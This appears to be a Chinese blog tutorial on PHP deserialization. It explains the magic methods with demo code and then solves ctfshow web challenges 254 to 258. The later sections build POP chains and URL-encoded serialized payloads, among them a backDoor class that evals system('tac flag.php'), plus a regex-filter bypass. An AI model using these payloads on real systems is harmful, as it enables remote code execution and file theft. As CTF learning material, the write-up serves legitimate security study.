php反序列化 触发的魔术方法 原理 pop链构造 ctfshow 练习
前言
序列化和反序列化 是一种数据的传输方式 就如同 我们的主机的运输 我们为了方便会把主机的配件进行 拆分分类 (序列化) 运输到需要的人的那里他在组装起来(反序列) 这样的目的就是为了减少 空间的占用
php的反序列化漏洞的成因就是因为 序列化之后的数据 在服务器被反序列化之前 数据被窃取伪造为 pop链 导致 反序列化执行了一些恶意的被篡改的数据
魔术方法的演示
魔术方法:准备工作函数 :程序运行的时候需要进行初始化 清除缓存 警告提醒等操作都需要他来执行
1、__construct 属性的初始化 (当属性在这里被初始化或者调用就会触发)
当construct内的属性被调用就会触发
2、__destruct 这个魔术方法是清除缓存(数据) 当程序运行结束(属性释放)或者程序员主动的清除的时候就会触发
在文末进行输出一个 一句话看看 这个des是在哪里进行输出的
是在程序结束的末尾
3、__sleep :在外部调用serialize的时候 我们可以指定要序列化的内容
看一下一般的序列化的格式:
<?php
header("Content-type: text/html; charset=utf-8");
class users{
public $name='xiaodi';
public $sex='man';
public $age=31;
}
$demo=new users();
$s=serialize($demo);//序列化
// $u=unserialize($s);//反序列化
echo $s.'<br>';
如果我们不sleep指定就会序列化所有的内容
4、__wakeup : 这个是sleep的反义词 用法也是反的在反序列化执前 进行反的内容可以由他指定 或者会直接触发
// __wakeup:反序列化恢复对象之前调用该方法
class Test{
public $sex;
public $name;
public $age;
public function __construct($name, $age, $sex){
echo "__construct被调用!<br>";
}
public function __wakeup(){
echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
}
}
$person = new Test('xiaodi',31,'男');
$a = serialize($person);
unserialize($a);
5、__INVOKE():把对象当做函数来执行的时候会触发这个函数
// __INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。
class Test{
// _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
public function __invoke($param1, $param2, $param3)
{
echo "这是一个对象<br>";
var_dump($param1,$param2,$param3);
}
}
$a = new Test(); //常规因该是 new Test('属性')
//将对象当做函数调用 触发__invoke魔术方法
$a('xiaodi',31,'男');
6、__toString : 对象被当做字符串处理的时候就会触发(目的是防止 对象被当做字符串执行)
// __toString():如果一个对象类中存在__toString魔术方法,这个对象类被当做字符串进行处理时,就会触发__toString魔术方法
class Test
{
public $variable = 'good is string';
public function good(){
echo $this->variable . '<br />';
}
// 在对象当做字符串的时候会被调用
public function __toString(){
return '__toString魔术方法被执行!';
}
}
$a = new Test();
//$a->good();
//输出调用
echo $a;
7、__Call 魔术方法 : 当被调用的函数(方法)存在时就会被调用 不存在就会调用 call内的方法
class Test{
public function good($number,$string){
echo '存在good方法'.'<br>';
echo $number.'---------'.$string.'<br>';
}
// 当调用类中不存在的方法时,就会调用__call();
public function __call($method,$args){
echo '不存在'.$method.'方法'.'<br>';
var_dump($args); //输出new对象的参数
}
}
$a = new Test();
$a->good(1,'xiaodisec');
// 不存在xiaodi方法 触发__call魔术方法
$b = new Test();
$b->xiaodi(899,'no'); //xiaodi方法不存在,触发__call魔术方法
8、__get方法 : 读取对象属性存在的时候就会返回属性的值 当属性不存在的时候就会返回 get内的值
// __get() 魔术方法 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数
class Test {
public $n=1233234;
// __get():访问不存在的成员变量时调用
public function __get($name){
echo '__get 不存在成员变量'.$name.'<br>';
}
}
$a = new Test();
// 存在成员变量n,所以不调用__get
echo $a->n;
echo '<br>';
// 不存在成员变量spaceman,所以调用__get
echo $a->xiaodi;
这里有个小知识点 就是php类定义中 我们要想获取我们输入的属性 需要使用$name进行获取
还有如果是方法的话就需要使用 $method
9、__set : 当调用的属性不存在或者是被设置为私有的时候 就会被调用 主要还是私有变量的调用使用的多
举个例子就是 你访问我的私有变量我会给你设置一个其他的值
// __set()魔术方法 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
class Test{
public $noway=0;
private $id=123;
// __set():设置对象不存在的属性或无法访问(私有)的属性时调用
/* __set($name, $value)
* 用来为私有成员属性设置的值
* 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
* */
public function __set($name,$value){
echo '__set 不存在成员变量 '.$name.'<br>';
echo '即将设置的值 '.$value."<br>";
$this->noway=$value;
}
public function Get(){
echo $this->noway;
}
}
$a = new Test();
// 访问noway属性时调用,并设置值为899
$a->noway = 111;
// 经过__set方法的设置noway的值为899
$a->Get();
echo '<br>';
// 设置对象不存在的属性xiaodi
$a->xiaodi = 31;
$a->id = 456;
// 访问不存在的属性时调用__set方法,并设置值为31
// 经过__set方法的设置noway的值为31
$a->Get();
反序列化漏洞产生的原理
这个漏洞黑盒是没有的大多数都是白盒代码审计 审计出来的
利用:
只要我们能拿到序列化的代码我们就能进行数据的修改
很多时候都是配合代码执行的
ctfshow练习
web入门
web254
一看是长篇代码 :审计长篇代码 需要的步骤1、先找输出的结果 2、再找结果触发的条件
第一题纯代码审计 找逻辑
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){ //但是这个只是函数的引用,并没有实现功能
if($this->isVip){ //这里判断是否是vip
global $flag;
echo "your flag is ".$flag; //这个是结果 输出flag
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
//登录验证 login方法登录成功的要求是 isVip=true 的前提条件是用户名和密码正确
if($user->checkVip()){ //判断是否是vip 这个就是对上边的二次验证
$user->vipOneKeyGetFlag(); //方法的使用
//所以得出 结论 两层验证 需要先输入正确的账号密码 之后就会触发 login 从而是 isVip=true 之后才会触发 vipOneKeyGetFlag 输出flag
}
}else{
echo "no vip,no flag";
}
}
?>
先把需要的地方保留把不需要的删除 就是长代码审计最好的方法
最后的结果是 ?username=xxxxxx & password=xxxxxx
web255
这个题目就涉及到简单的pop链的构造 pop链 :我的理解就是获取触发 序列化的函数 然后进行修改使其反序列化的时候 触发的效果是我们想要的
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true; //修改为 true 这样就能触发 checkVip 方法 输出flag
// public function login($u,$p){
// return $this->username===$u&&$this->password===$p;
// //这里直接返回布尔值 而不再设置 isVip=true 不设置vip=true 下边就无法触发 checkVip 方法 从而无法输出flag 那就需要我们更改 pop链了那就需要我们更改 pop链了 //把多余的都删除掉 只留下我们需要的username和password
// }
}
$xxx=new ctfShowUser();
$a=serialize($xxx);
echo $a;
?>
pop链构造的特点就是 把多余的摘除 然后 余下需要修改的和需要调用的
那就直接在因为cookie传入的东西是需要url解码的所以我们把特殊符号等进行编码
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
把这个写入到 usr 结果就出来了
web256
复制源码
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A2%3A%22xx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
pop链构造
主要删除的时候不要把 __construct()删除了 因为这个是声明 对象的
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $class;
public function __construct() {
// 初始化 $class 属性为 backDoor 类的对象
$this->class = new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="system('tac flag.php');";
public function getInfo(){
eval($this->code);
}
}
$xxx=new ctfShowUser();
$a=serialize($xxx);
echo $a."<br>";
echo urlencode($a);
运行获取 序列化
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
web258
\d表示数字 : 数字 +(表示匹配前一个字符) : 就是表示user不能以 o:数字 加 c:数字 的形式
但是我们知道 数字可以使用 + 进行拼接
COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
这里有个注意点就是 如果你想利用 con 就需要把 de删除掉 并且创建ctfshow的对象 相反你如果使用 De就需要把con删除调用back对象